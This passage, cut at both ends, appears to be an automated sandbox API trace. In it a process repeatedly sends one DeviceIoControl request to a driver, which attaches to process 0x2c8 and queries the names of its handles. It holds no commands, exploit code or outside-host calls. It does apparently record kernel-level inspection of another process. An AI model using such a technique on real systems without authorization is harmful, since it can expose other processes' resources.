out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.158] ObfDereferenceObject (Object=0xfffffa800f25e8e0) returned 0x12 [0113.158] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.158] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.158] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x96, lpOverlapped=0x0) returned 1 [0113.158] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.158] PsAcquireProcessExitSynchronization () returned 0x0 [0113.158] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.158] ObReferenceObjectByHandle (in: Handle=0x218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316ec50, HandleInformation=0x0) returned 0x0 [0113.158] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.158] PsReleaseProcessExitSynchronization () returned 0x2 [0113.158] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.158] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.158] ObfDereferenceObject (Object=0xfffffa800316ec50) returned 0x12 [0113.158] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.158] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.158] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0113.158] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.158] PsAcquireProcessExitSynchronization () returned 0x0 [0113.158] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.158] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316d6b0, HandleInformation=0x0) returned 0x0 [0113.158] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.159] PsReleaseProcessExitSynchronization () returned 0x2 [0113.159] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.159] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.159] ObfDereferenceObject (Object=0xfffffa800316d6b0) returned 0x12 [0113.159] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.159] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.159] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0113.159] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.159] PsAcquireProcessExitSynchronization () returned 0x0 [0113.159] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.159] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316f070, HandleInformation=0x0) returned 0x0 [0113.159] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.159] PsReleaseProcessExitSynchronization () returned 0x2 [0113.159] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.159] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.159] ObfDereferenceObject (Object=0xfffffa800316f070) returned 0x12 [0113.159] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.159] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.159] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0113.159] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.159] PsAcquireProcessExitSynchronization () returned 0x0 [0113.159] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.159] ObReferenceObjectByHandle (in: Handle=0x228, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800edfdbe0, HandleInformation=0x0) returned 0x0 [0113.159] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.159] PsReleaseProcessExitSynchronization () returned 0x2 [0113.159] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.159] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.159] ObfDereferenceObject (Object=0xfffffa800edfdbe0) returned 0x21 [0113.159] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.159] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.159] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0113.160] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.160] PsAcquireProcessExitSynchronization () returned 0x0 [0113.160] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.160] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800b9ffbe0, HandleInformation=0x0) returned 0x0 [0113.160] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.160] PsReleaseProcessExitSynchronization () returned 0x2 [0113.160] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.160] ObfDereferenceObject (Object=0xfffffa800b9ffbe0) returned 0x12 [0113.160] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.160] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.160] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0113.160] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.160] PsAcquireProcessExitSynchronization () returned 0x0 [0113.160] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.160] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f2c220, HandleInformation=0x0) returned 0x0 [0113.160] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.160] PsReleaseProcessExitSynchronization () returned 0x2 [0113.160] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.160] ObfDereferenceObject (Object=0xfffffa8002f2c220) returned 0x12 [0113.160] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.160] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.160] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0113.160] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.160] PsAcquireProcessExitSynchronization () returned 0x0 [0113.160] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.160] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800324b970, HandleInformation=0x0) returned 0x0 [0113.160] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.160] PsReleaseProcessExitSynchronization () returned 0x2 [0113.160] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.161] ObfDereferenceObject (Object=0xfffffa800324b970) returned 0x20 [0113.161] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.161] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.161] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0113.161] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.161] PsAcquireProcessExitSynchronization () returned 0x0 [0113.161] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.161] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003173b80, HandleInformation=0x0) returned 0x0 [0113.161] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.161] PsReleaseProcessExitSynchronization () returned 0x2 [0113.161] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.161] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.161] ObfDereferenceObject (Object=0xfffffa8003173b80) returned 0x12 [0113.161] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.161] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.161] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0113.161] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.161] PsAcquireProcessExitSynchronization () returned 0x0 [0113.161] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.161] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800296aa20, HandleInformation=0x0) returned 0x0 [0113.161] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.161] PsReleaseProcessExitSynchronization () returned 0x2 [0113.161] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.161] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.161] ObfDereferenceObject (Object=0xfffffa800296aa20) returned 0x12 [0113.161] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.161] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.161] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.162] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.162] PsAcquireProcessExitSynchronization () returned 0x0 [0113.162] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.162] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.162] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.162] PsReleaseProcessExitSynchronization () returned 0x2 [0113.162] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.162] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.162] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.162] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.162] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.162] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.162] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.162] PsAcquireProcessExitSynchronization () returned 0x0 [0113.162] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.162] ObReferenceObjectByHandle (in: Handle=0x2b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.162] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.162] PsReleaseProcessExitSynchronization () returned 0x2 [0113.162] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.162] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.162] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.162] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.162] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.162] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0113.162] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.162] PsAcquireProcessExitSynchronization () returned 0x0 [0113.162] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.162] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003191de0, HandleInformation=0x0) returned 0x0 [0113.162] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.162] PsReleaseProcessExitSynchronization () returned 0x2 [0113.162] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.163] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.163] ObfDereferenceObject (Object=0xfffffa8003191de0) returned 0x1 [0113.163] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.163] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.163] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0113.163] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.163] PsAcquireProcessExitSynchronization () returned 0x0 [0113.163] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.163] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800318ab80, HandleInformation=0x0) returned 0x0 [0113.163] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.163] PsReleaseProcessExitSynchronization () returned 0x2 [0113.163] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.163] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.163] ObfDereferenceObject (Object=0xfffffa800318ab80) returned 0x1 [0113.163] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.163] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.163] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0113.163] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.163] PsAcquireProcessExitSynchronization () returned 0x0 [0113.163] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.163] ObReferenceObjectByHandle (in: Handle=0x32c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003191340, HandleInformation=0x0) returned 0x0 [0113.163] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.163] PsReleaseProcessExitSynchronization () returned 0x2 [0113.163] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.163] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.164] ObfDereferenceObject (Object=0xfffffa8003191340) returned 0x1 [0113.164] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.164] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.164] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0113.164] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.164] PsAcquireProcessExitSynchronization () returned 0x0 [0113.164] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.164] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003190f20, HandleInformation=0x0) returned 0x0 [0113.164] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.164] PsReleaseProcessExitSynchronization () returned 0x2 [0113.164] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.164] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.164] ObfDereferenceObject (Object=0xfffffa8003190f20) returned 0x1 [0113.164] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.164] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.164] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, 